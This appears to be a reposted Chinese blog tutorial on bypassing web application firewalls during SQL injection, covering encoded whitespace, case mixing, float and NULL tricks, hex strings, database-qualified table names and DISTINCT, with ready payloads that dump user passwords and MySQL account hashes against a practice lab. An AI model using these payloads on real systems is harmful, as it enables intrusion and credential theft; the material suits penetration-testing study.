当前位置:网站首页>SQL 注入绕过(一)
SQL 注入绕过(一)
2022-06-27 06:26:00 【Aτθ】
SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云waf、加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御
SQL 注入;也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾;还有就是在程序里对输入参数进行过滤和拦截,例如
360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。
SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统
也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。
一、空格字符绕过
url编码经过中间件 iis/apache 转为字符,再传入脚本语言,数据库的驱动 mysql_query(sql)
两个空格代替一个空格,用 Tab 代替空格,%a0代替空格。
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
可以将空格字符替换成注释 /**/
还可以使用 /*!这里的根据 mysql 版本的内容不注释*/

二、大小写绕过
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3,4;
过滤空格可以用%0代替,也过滤# --+注释,用字符串匹配
99999999'%09UnIon%09SeLeCt%091,2,3%09and%09'1

99999999'%09UnIon%09SeLeCt%091,user(),3%09and%09'1

99999999'%09UnIon%09SeLeCt%091,(SeLEct%09group_concat(username,0x3a,password)from%09users),3%09and%09'1

三、浮点数绕过
select * from users where id=8E0union select 1,2,3,4;
select * from users where id=8.0union select 1,2,3,4;

四、NULL 值绕过
select \N; 代表 NULL
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;

\N' union select user(),2--+&submit=1

五、引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号,在 mysql 里也可以用双引号作为字符串。
select * from users where id='1';
select * from users where id="1";

也可以将字符串转换成 16 进制,再进行查询。
select hex('admin');
select * from users where username='admin';
select * from users where username=0x61646D696E;

六、添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from pikachu.users;

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,0x3a,authentication_string) from mysql.user;

\N' union select 1,(select concat(user,0x3a,authentication_string) from mysql.user limit 1)--+&submit=1

七、去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截。
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;

边栏推荐
- Multithreading basic Part3
- C Primer Plus Chapter 11_ Strings and string functions_ Codes and exercises
- yaml文件加密
- How to check the frequency of memory and the number of memory slots in CPU-Z?
- 1317. convert an integer to the sum of two zero free integers
- Using CSDN to develop cloud and build navigation websites
- 日期 数据库日期 字符串 之间互相转换
- 【QT小点】实现看门狗功能,检测外部程序是否在运行
- JVM调优思路
- 卷积神经网络---CNN模型的应用(找矿预测)
猜你喜欢

Assembly language - Wang Shuang Chapter 9 Principles of transfer instructions - Notes

Matlab GUI interface simulation DC motor and AC motor speed simulation

线程间等待与唤醒机制、单例模式、阻塞队列、定时器

427- binary tree (617. merge binary tree, 700. search in binary search tree, 98. verify binary search tree, 530. minimum absolute difference of binary search tree)

Distribution gaussienne, régression linéaire, régression logistique

Run opcua protocol demo on raspberry pie 4B to access kubeedge

JVM类加载机制

高斯分布Gaussian distribution、線性回歸、邏輯回歸logistics regression

美摄云服务方案:专为轻量化视频制作场景打造

JVM class loading mechanism
随机推荐
JVM对象组成和存储
Multithreading basic part part 1
线程间等待与唤醒机制、单例模式、阻塞队列、定时器
TiDB的事务概览
下载cuda和cudnn
路由器和交换机的区别
Inter thread wait and wake-up mechanism, singleton mode, blocking queue, timer
机 器 学 习
Block level elements & inline elements
Matlab GUI interface simulation DC motor and AC motor speed simulation
matlab GUI界面仿真直流电机和交流电机转速仿真
The form verifies the variables bound to the V-model, and the solution to invalid verification
EasyExcel:读取Excel数据到List集合中
Mathematical modeling contest for graduate students - optimal application of UAV in rescue and disaster relief
Assembly language - Wang Shuang Chapter 8 two basic problems in data processing - Notes
TiDB 中的SQL 基本操作
My opinion on test team construction
Thesis reading skills
观测电机转速转矩
JS to implement bidirectional data binding